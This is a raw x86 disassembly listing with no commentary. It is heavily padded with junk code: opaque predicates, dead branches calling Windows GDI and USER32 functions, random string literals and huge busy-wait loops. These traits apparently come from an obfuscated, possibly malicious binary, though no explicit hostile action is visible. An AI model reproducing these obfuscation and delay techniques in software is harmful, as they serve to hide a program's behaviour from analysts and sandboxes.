mov dword [eax + ecx*4], 0xb0fe2cf4
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], edx
jl 0x10012118
mov dword [ebp - 0x28], ebx
jmp 0x10012146
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0x1c4], 0x11b55e97
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], 2
jl 0x10012135
mov eax, dword [ebp - 0x84]
xor edx, edx
cmp eax, 0xfffffff8
mov eax, dword [ebp - 0x2c]
setge dl
sub edx, 0xc5b641b4
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
setg cl
xor edx, edx
imul ecx, dword [ebp - 0x24]
mov dword [ebp - 0x34], ecx
mov ecx, dword [ebp - 0x88]
imul ecx, dword [ebp - 0x34]
mov eax, dword [ebp - 0x164]
mov dword [eax + 8], ecx
mov eax, dword [ebp - 0x80]
mov eax, dword [ebp - 0x84]
mov ecx, dword [ebp - 0x80]
mov eax, dword [ebp - 0x84]
cmp eax, ecx
mov esi, dword [ebp - 0x2c]
setl dl
neg esi
sbb esi, esi
inc esi
add esi, edx
sub esi, dword [ebp - 0x84]
mov eax, dword [ebp - 0x2c]
neg esi
sbb esi, esi
xor ecx, ecx
inc esi
cmp esi, eax
mov eax, dword [ebp - 0x24]
setge cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x18]
setge dl
xor ecx, ecx
cmp edx, eax
setl cl
cmp dword [ebp - 0x24], ecx
jne 0x100121e4
mov edx, edi
cmp dword [ebp - 0x84], ebx
jne 0x100121e6
mov edx, ebx
mov eax, dword [ebp - 0x24]
xor ecx, ecx
cmp edx, eax
sete cl
mov dword [ebp - 0x1c0], ecx
mov dword [ebp - 0x18], ebx
jmp 0x1001220a
mov eax, dword [ebp - 0x18]
cmp dword [ebp + eax*4 - 0x88], ebx
jne 0x10012210
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jle 0x100121fb
lea ecx, [ebp - 0x164]
call fcn.10001d88
mov dword [ebp - 0x1c], 0x71c1
xor edx, edx
mov dword [ebp - 0x28], 0xe80c
mov dword [ebp - 0x24], 3
push 0xfffffffffffffff7
pop eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x2c], edi
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x30], edi
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
imul eax, dword [ebp - 0x1c]
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x28]
cmp ecx, eax
setge dl
mov dword [ebp - 0x2c], edx
mov dword [ebp - 0x34], 0x96a4
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x18], ebx
jmp 0x100122ed
mov dword [ebp - 0x2c], ebx
jmp 0x100122df
mov byte [ebp - 0x1d], bl
cmp byte [ebp - 0x1d], 0
je 0x100122b4
push ebx
push ebx
call dword [sym.imp.GDI32.dll_CopyEnhMetaFileA]
mov dword [ebp - 0x28], ebx
jmp 0x100122d6
mov byte [ebp - 0x1d], bl
cmp byte [ebp - 0x1d], 0
je 0x100122d3
push ebx
push 0x910
push 0x15ab
call dword [sym.imp.USER32.dll_AttachThreadInput]
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], 0x1c
jge 0x100122b9
dec dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 0xffffffe3
je 0x100122a3
cmp dword [ebp - 0x34], ebx
jne 0x100122f3
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 5
jl 0x1001229e
push 0x5c
pop eax
push 2
mov byte [ebp - 0x48], bl
mov esi, ebx
mov dword [ebp - 0x47], 0x886d0497
mov word [ebp - 0x43], 0x256f
mov word [ebp - 0x60], ax
pop edx
mov dword [ebp - 0x24], edx
cmp edx, 7
jae 0x10012773
mov dword [ebp - 0x1c], 0xfffffff6
mov dword [ebp - 0x30], 0xd5d08818
mov dword [ebp - 0x18], ebx
jmp 0x1001233f
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x228], 6
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 3
jl 0x1001232e
mov byte [ebp - 0x1d], bl
cmp byte [ebp - 0x1d], 0
je 0x1001236a
push 0x563
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_RestoreDC]
mov edx, dword [ebp - 0x24]
mov dword [ebp - 0x1c], 0xffffffef
jmp 0x100123e0
mov dword [ebp - 0x18], 0xffffffff
mov dword [ebp - 0x34], 0xc7e43439
mov eax, dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0xfffffff6
jne 0x10012391
mov ecx, edi
cmp dword [ebp - 0x18], ebx
jne 0x10012393
mov ecx, ebx
mov eax, dword [ebp - 0x1c]
add eax, ecx
cmp eax, 0xfffe
sbb eax, eax
inc eax
imul eax, dword [ebp - 0x18]
cmp eax, 0xafd061a6
je 0x100123ae
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x18]
xor ecx, ecx
mov eax, dword [ebp - 0x18]
test eax, eax
setle cl
cmp ecx, dword [ebp - 0x34]
jne 0x100123c3
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x34]
mov ecx, edi
cmp dword [ebp - 0x1c], ebx
jne 0x100123cf
mov ecx, ebx
mov dword [ebp - 0x228], ecx
mov eax, dword [ebp - 0x1c]
sub ecx, eax
mov dword [ebp - 0x30], ecx
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0xc
jne 0x10012373
movzx eax, byte [ebp - 0x48]
lea eax, [eax*2 + 2]
cmp edx, eax
jne 0x100126f4
mov dword [ebp - 0x18], 0x62d5e48d
mov dword [ebp - 0x1c], 0xb5f7919a
mov dword [ebp - 0x34], 0x5295
cmp dword [ebp - 0x34], 0x5586
jle 0x1001247c
mov edx, ebx
mov dword [ebp - 0x18], ebx
mov ecx, ebx
mov dword [ebp - 0x2c], ebx
mov esi, ebx
mov eax, esi
and eax, ecx
lea ecx, [ebp - 0x2b8]
and eax, edx
cdq
push edx
push eax
call fcn.10001a6a
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x10012441
mov eax, dword [eax]
push eax
call fcn.1004c39e
pop ecx
push ebx
push edi
lea ecx, [ebp - 0x2b8]
call fcn.1000205a
mov ecx, dword [ebp - 0x2c]
inc esi
mov edx, dword [ebp - 0x18]
cmp esi, 0x965
jl 0x10012423
inc ecx
mov dword [ebp - 0x2c], ecx
cmp ecx, 0x1f8f
jl 0x10012421
inc edx
mov dword [ebp - 0x18], edx
cmp edx, 0x7334
jl 0x1001241c
cmp dword [ebp - 0x34], 0x51a9
jge 0x10012490
push str.cixzxvh_ecucqo_bnyoy_dsy_fzgqxo_picfiwyu_cmgaszyv_mmlqwnks_cguit_zuzoh
call fcn.1004c39e
pop ecx
mov dword [ebp - 4], 0x1d
mov dword [ebp - 0x18], ebx
jmp 0x100124ad
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x94], 0xe91b76e1
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 3
jl 0x1001249c
mov dword [ebp - 0x18], 0x14
cmp dword [ebp - 0x18], 0xfffffffd
jne 0x100126b0
mov dword [ebp - 0x28], 0xffffffff
xor ecx, ecx
mov dword [ebp - 0x34], 0xfffffffd
mov dword [ebp - 0x2c], 1
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x18]
cmp eax, 0x25d36729
setne cl
mov dword [ebp - 0x1c], ecx
mov eax, dword [ebp - 0x28]
cmp dword [ebp - 0x28], ebx
je 0x10012581
mov dword [ebp - 0x2c], 0xa98ceef
mov dword [ebp - 0x2c], 0x23edb395
mov dword [ebp - 0x2c], ebx
jmp 0x10012576
mov dword [ebp - 0x34], 0xfffffff9
mov dword [ebp - 0x30], 9
mov dword [ebp - 0x28], 2
cmp dword [ebp - 0x28], ebx
jl 0x10012573
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp + eax*4 - 0x94]
cmp dword [ebp - 0x1c], ebx
jne 0x10012546
mov eax, dword [ebp - 0x34]
cmp eax, dword [ebp - 0x2c]
jle 0x10012546
mov eax, ebx
jmp 0x10012549
xor eax, eax
inc eax
xor ecx, ecx
test eax, eax
mov eax, dword [ebp - 0x34]
setg cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x28]
setle dl
xor ecx, ecx
mov eax, dword [ebp + eax*4 - 0x94]
cmp edx, eax
setle cl
mov dword [ebp - 0x30], ecx
dec dword [ebp - 0x28]
jns 0x1001252b
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 0x16
jge 0x10012511
jmp 0x100126a0
mov dword [ebp - 0x38], 0xfe76
mov dword [ebp - 0x2c], 0x4c7c9a7
mov dword [ebp - 0x3c], 0xd97b
mov dword [ebp - 0x40], 0x75314680
mov dword [ebp - 0x30], 1
cmp dword [ebp - 0x28], ebx
je 0x1001260e
mov eax, dword [ebp - 0x28]
add eax, 0x2ce3c489
cmp eax, dword [ebp - 0x28]
jne 0x100125bf
cmp dword [ebp - 0x28], ebx
jne 0x100125bf
mov eax, ebx
jmp 0x100125c2
xor eax, eax
inc eax
xor ecx, ecx
cmp ecx, eax
sbb ecx, ecx
xor edx, edx
neg ecx
add ecx, dword [ebp - 0x34]
mov eax, dword [ebp - 0x90]
cmp ecx, eax
mov eax, dword [ebp - 0x94]
setge dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x38]
setne cl
mov dword [ebp - 0x40], ecx
xor ecx, ecx
cmp dword [ebp - 0x40], eax
setge cl
mov dword [ebp - 0x2c], ecx
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x3c]
cmp dword [ebp - 0x1c], eax
jg 0x1001260e
xor eax, eax
inc eax
jmp 0x10012610
mov eax, ebx
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x8c]
mov edx, dword [ebp - 0x2c]
sub edx, eax
mov eax, dword [ebp - 0x28]
sub edx, 0xfffffff9
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
setne cl
add ecx, 0x644cad70
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x2c], ebx
jmp 0x1001269a
mov dword [ebp - 0x34], 0x9ab13fd1
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], ebx
jne 0x10012665
imul eax, dword [ebp - 0x1c], 3
mov ecx, 0xffff
cmp ecx, eax
sbb eax, eax
neg eax
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x2c]
xor edx, edx
mov eax, dword [ebp + eax*4 - 0x94]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x2c]
mov ecx, dword [ebp + eax*4 - 0x94]
mov eax, dword [ebp - 0x30]
cmp ecx, eax
setne dl
xor ecx, ecx
imul edx, dword [ebp - 0x38]
mov eax, dword [ebp - 0x18]
cmp edx, eax
setge cl
mov dword [ebp - 0x30], ecx
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 2
jle 0x1001263e
dec dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0xfffffffd
je 0x100124c4
xor edi, edi
inc edi
mov dword [ebp - 0x1c], 0xffffffe3
cmp dword [ebp - 0x1c], ebx
jl 0x100126e4
mov dword [ebp - 0x30], 0xcd85
mov dword [ebp - 0x38], 0xffffffff
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x94]
neg eax
sub ecx, eax
neg ecx
sbb ecx, ecx
inc ecx
mov dword [ebp - 0x38], ecx
inc dword [ebp - 0x1c]
jns 0x100126bc
mov edx, dword [ebp - 0x24]
movzx eax, byte [ebp + edx - 0x48]
dec edx
add edx, eax
lea esi, [eax + 1]
jmp 0x1001276b
mov dword [ebp - 0x18], 0xd3df75dc
mov eax, 0xe31d8329
mov dword [ebp - 0x18c], eax
mov dword [ebp - 0x188], eax
mov dword [ebp - 0x184], eax
mov dword [ebp - 0x180], eax
mov dword [ebp - 0x30], 0x2d76715f
mov dword [ebp - 0x18], 0xa
jmp 0x10012739
cmp dword [ebp - 0x18], ebx
jne 0x1001273e
mov eax, dword [ebp - 0x18c]
mov dword [ebp - 0x30], eax
dec dword [ebp - 0x18]
cmp dword [ebp - 0x18], edi
jle 0x10012728
mov eax, dword [ebp - 0x24]
movzx edx, byte [ebp + edx - 0x47]
sub eax, esi
mov esi, ebx
movzx eax, byte [ebp + eax - 0x4a]
movzx ecx, word [ebp + eax*2 - 0x60]
mov eax, ecx
and eax, edx
add eax, eax
sub ecx, eax
add ecx, edx
mov edx, dword [ebp - 0x24]
movzx eax, byte [ebp + edx - 0x48]
mov word [ebp + eax*2 - 0x60], cx
add edx, 2
jmp 0x1001230f
xor eax, eax
mov dword [ebp - 0xfc], 7
mov word [ebp - 0x5e], ax
lea ecx, [ebp - 0x110]
mov word [ebp - 0x110], ax
lea eax, [ebp - 0x60]
push eax
mov dword [ebp - 0x100], ebx
call fcn.1000d26b
mov byte [ebp - 4], 0x20
lea eax, [ebp - 0x20c]
push dword [ebp - 0x7c]
movdqa xmm0, xmmword [0x10074210]
lea ecx, [ebp - 0xc8]
push eax
lea eax, [ebp - 0x21c]
mov dword [ebp - 0x60], ebx
push eax
mov dword [ebp - 0x30], 0xffffffff
mov dword [ebp - 0x38], ebx
push ebx
movdqu xmmword [ebp - 0x21c], xmm0
mov dword [ebp - 0xc8], ebx
mov dword [ebp - 0xc4], ebx
mov dword [ebp - 0xc0], ebx
call fcn.10010a74
mov dword [ebp - 0x38], 0x31af
mov dword [ebp - 0x24], ebx
jmp 0x10012809
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x5c], 0xe0648261
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 2
jl 0x100127fb
mov dword [ebp - 0x5c], ebx
cmp dword [ebp - 0x5c], 3
jle 0x1001288b
mov esi, dword [ebp - 0xc8]
mov dword [ebp - 0x24], 8
mov ecx, edi
mov dword [ebp - 0x18], 0x6b8d9637
mov dword [ebp - 0x38], 0xffffffff
mov eax, dword [ebp - 0x5c]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x5c]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x58]
sub ecx, eax
cmp ecx, 0xf4f9a023
jbe 0x10012854
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x5c]
xor edx, edx
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x58]
mov eax, dword [ebp - 0x5c]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x38]
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x24]
cmp ecx, eax
setne dl
mov dword [ebp - 0x38], edx
mov eax, dword [ebp - 0x18]
mov dword [esi + 8], eax
mov dword [ebp - 0x18], ebx
inc dword [ebp - 0x5c]
cmp dword [ebp - 0x5c], 3
jg 0x1001281e
mov byte [ebp - 0x1d], bl
cmp byte [ebp - 0x1d], 0
je 0x100128c1
push 0x1d01
push 0x2105
push 0xaa1
push 0x860
push 0x1cb1
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_PatBlt]
lea ecx, [ebp - 0xc8]
call fcn.10001d88
push 0x5f
pop eax
push 2
mov byte [ebp - 0x50], bl
mov ecx, ebx
mov dword [ebp - 0x4f], 0xaa002cf
mov word [ebp - 0x54], ax
pop esi
cmp esi, 2
jne 0x10012956
push 3
pop ecx
push ecx
mov dword [ebp - 0x30], 0x53d9
cmp dword [ebp - 0x30], 0x554e
pop esi
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 0x38], esi
jle 0x1001297f
mov esi, ebx
mov eax, ebx
mov dword [ebp - 0x30], ebx
and eax, esi
lea ecx, [ebp - 0x270]
cdq
push edx
push eax
call fcn.10001a6a
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x10012923
mov eax, dword [eax]
push eax
call fcn.1004c39e
pop ecx
push ebx
push edi
lea ecx, [ebp - 0x270]
call fcn.1000205a
mov eax, dword [ebp - 0x30]
inc eax
mov dword [ebp - 0x30], eax
cmp eax, 0x2802
jl 0x10012909
inc esi
cmp esi, 0x2af5
jl 0x10012904
mov esi, dword [ebp - 0x38]
mov ecx, dword [ebp - 0x3c]
jmp 0x1001297f
movzx edx, byte [ebp + esi - 0x4f]
mov eax, esi
sub eax, ecx
movzx eax, byte [ebp + eax - 0x52]
movzx ecx, word [ebp + eax*2 - 0x54]
mov eax, ecx
and eax, edx
add eax, eax
sub ecx, eax
movzx eax, byte [ebp + esi - 0x50]
add ecx, edx
mov word [ebp + eax*2 - 0x54], cx
mov ecx, ebx
add esi, 2
cmp esi, 5
jb 0x100128e2
xor eax, eax
mov dword [ebp - 0x190], 7
mov word [ebp - 0x52], ax
lea ecx, [ebp - 0x1a4]
mov word [ebp - 0x1a4], ax
lea eax, [ebp - 0x54]
push eax
mov dword [ebp - 0x194], ebx
call fcn.1000d26b
mov byte [ebp - 4], 0x23
mov dword [ebp - 0x3c], 0x3b91
mov dword [ebp - 0x40], 0xfffffffc
mov dword [ebp - 0x38], 0x3349
cmp dword [ebp - 0x38], 0x34b4
jle 0x10012a25
mov esi, ebx
mov eax, ebx
mov dword [ebp - 0x30], ebx
add eax, esi
lea ecx, [ebp - 0x2a0]
cdq
push edx
push eax
call fcn.10001a6a
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x100129fa
mov eax, dword [eax]
push eax
call fcn.1004c39e
pop ecx
push ebx
push edi
lea ecx, [ebp - 0x2a0]
call fcn.1000205a
mov eax, dword [ebp - 0x30]
inc eax
mov dword [ebp - 0x30], eax
cmp eax, 0x6617
jl 0x100129e0
inc esi
cmp esi, 0x3245
jl 0x100129db
mov dword [ebp - 0x18], 0xc2251554
cmp dword [ebp - 0x38], 0x3007
jge 0x10012a40
push str.awn_qpo_vqpl_ppwgjjnjm_hjim_qvs_kftuvjc
call fcn.1004c39e
pop ecx
mov dword [ebp - 4], 0x23
mov dword [ebp - 0x34], 0x21aa2910
mov dword [ebp - 0x30], 0x2c5a4ecb
mov dword [ebp - 0x38], 0xef1f
mov dword [ebp - 0x24], ebx
jmp 0x10012a72
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0xd0], 0x923ccde6
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], edi
jl 0x10012a61
cmp dword [ebp - 0x3c], ebx
je 0x10012b5c
mov dword [ebp - 0x38], 0xfffffff9
lea ecx, [ebp - 0x1e4]
mov dword [ebp - 0x24], 0x74c38b6b
mov dword [ebp - 0x24], 0x552bf338
push edi
call fcn.10001d4c
mov byte [ebp - 4], 0x26
lea eax, [ebp - 0x1fc]
push dword [ebp - 0xd0]
movdqa xmm0, xmmword [0x100741c0]
lea ecx, [ebp - 0xe8]
push eax
lea eax, [ebp - 0x20c]
mov dword [ebp - 0x24], 0x76522452
push eax
mov dword [ebp - 0x24], 0xffffffff
push ebx
movdqu xmmword [ebp - 0x20c], xmm0
mov dword [ebp - 0xe8], ebx
mov dword [ebp - 0xe4], ebx
mov dword [ebp - 0xe0], ebx
call fcn.10010a74
mov dword [ebp - 0x24], ebx
jmp 0x10012b0d
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x1e4]
mov dword [eax + ecx*4], 4
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], edi
jl 0x10012afa
dec dword [ebp - 0x30]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x40]
cmp dword [ebp - 0x34], ebx
je 0x10012b27
mov eax, edi
cmp dword [ebp - 0x18], ebx
jne 0x10012b29
mov eax, ebx
mov edx, 0xbe7e5505
xor ecx, ecx
sub edx, eax
add edx, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x38]
cmp eax, edx
setg cl
mov dword [ebp - 0x24], ecx
lea ecx, [ebp - 0xe8]
call fcn.10001d88
lea ecx, [ebp - 0x1e4]
mov byte [ebp - 4], 0x23
call fcn.10001d88
jmp 0x10012b6d
mov dword [ebp - 0x30], 0x31915e30
mov dword [ebp - 0x30], 0xfffffffc
inc dword [ebp - 0x30]
mov dword [ebp - 0x54], ebx
push dword [ebp - 0x100]
cmp dword [ebp - 0xfc], 8
lea eax, [ebp - 0x110]
push ebx
cmovae eax, dword [ebp - 0x110]
lea ecx, [ebp - 0x1fc]
push eax
call fcn.10012f7c
cmp eax, 0xffffffff
je 0x10012bb5
push 0xffffffffffffffff
push ebx
lea ecx, [ebp - 0x1a4]
push ecx
push edi
push eax
lea ecx, [ebp - 0x1fc]
call fcn.10002d0c
jmp 0x10012b70
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x3c], 0x532a
cmp dword [ebp - 0x3c], 0x5678
jle 0x10012c39
mov esi, ebx
mov dword [ebp - 0x38], ebx
mov ecx, ebx
mov dword [ebp - 0x30], ebx
mov eax, esi
mov dword [ebp - 0x40], ebx
cdq
mov esi, ebx
idiv ecx
mov eax, edx
mov dword [ebp - 0x34], eax
or eax, esi
lea ecx, [ebp - 0x2d0]
cdq
push edx
push eax
call fcn.10001a6a
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x10012bfb
mov eax, dword [eax]
push eax
call fcn.1004c39e
pop ecx
push ebx
push edi
lea ecx, [ebp - 0x2d0]
call fcn.1000205a
mov eax, dword [ebp - 0x34]
inc esi
cmp esi, 0x5e94
jl 0x10012be1
mov ecx, dword [ebp - 0x30]
mov esi, dword [ebp - 0x38]
inc ecx
mov dword [ebp - 0x30], ecx
cmp ecx, 0x25df
jl 0x10012bd2
inc esi
mov dword [ebp - 0x38], esi
cmp esi, 0x59b1
jl 0x10012bcd
mov byte [ebp - 0x1d], bl
cmp byte [ebp - 0x1d], 0
je 0x10012c4f
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_DestroyWindow]
cmp dword [ebp - 0x3c], 0x52a5
jge 0x10012c63
push str.bcqbwx_trehu_fjzijkxmq_mtmzxsrgf_pzaolh_oyjwpeqgf_fqexsokf_iin_qaezbb_hscfi_hbtlqb_xei
call fcn.1004c39e
pop ecx
mov dword [ebp - 4], 0x23
mov dword [ebp - 0x18], 2
cmp dword [ebp - 0x18], 0x18
jge 0x10012d74
mov dword [ebp - 0x24], 0xaed23b61
mov dword [ebp - 0x24], ebx
jmp 0x10012c94
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x240], ebx
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 2
jl 0x10012c87
mov byte [ebp - 0x1d], bl
cmp byte [ebp - 0x1d], 0
je 0x10012caf
push 0x74b
push ebx
call dword [sym.imp.ADVAPI32.dll_InitializeSecurityDescriptor]
mov dword [ebp - 0x24], ebx
cmp dword [ebp - 0x24], edi
jg 0x10012d6c
mov byte [ebp - 0x1d], bl
mov dword [ebp - 0x3c], 0x6c92
cmp dword [ebp - 0x3c], 0x6e00
jle 0x10012d3d
push ebx
push 0x23f5
push 0x1172
push 0xd60
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetScrollRange]
mov esi, ebx
mov dword [ebp - 0x38], ebx
mov dword [ebp - 0x40], esi
mov dword [ebp - 0x30], 0x4e3f
mov eax, esi
lea ecx, [ebp - 0x300]
cdq
push edx
push eax
call fcn.10001a6a
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x10012d14
mov eax, dword [eax]
push eax
call fcn.1004c39e
pop ecx
push ebx
push edi
lea ecx, [ebp - 0x300]
call fcn.1000205a
dec esi
dec dword [ebp - 0x30]
jne 0x10012cfa
mov esi, dword [ebp - 0x38]
inc esi
mov dword [ebp - 0x38], esi
cmp esi, 0x201d
jl 0x10012cf0
cmp byte [ebp - 0x1d], 0
je 0x10012d49
call dword [sym.imp.USER32.dll_GetMessageTime]
cmp dword [ebp - 0x3c], 0x6b8d
jge 0x10012d5d
push str.hvft_yofrqhr_lvvgdz_rdnr_pdvbij_vinalraxn_oyvfhkarm_ztasowhvg_vzkcpxh_eoi_ghthhqqh_cuypwktj_ptpn_qqemcezi
call fcn.1004c39e
pop ecx
mov dword [ebp - 4], 0x23
inc dword [ebp - 0x24]
jmp 0x10012cb2
inc dword [ebp - 0x18]
jmp 0x10012c71
mov ecx, dword [ebp - 0x7c]
lea eax, [ebp - 0x1fc]
push eax
lea edx, [ebp - 0x1bc]
call fcn.1001301f
pop ecx
push ebx
push edi
lea ecx, [ebp - 0x1a4]
call fcn.1000232a
push ebx
push edi
lea ecx, [ebp - 0x110]
call fcn.1000232a
push ebx
push edi
lea ecx, [ebp - 0x1fc]
call fcn.1000232a
push ebx
push edi
lea ecx, [ebp - 0x1bc]
call fcn.1000232a
mov eax, dword [ebp - 0x7c]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret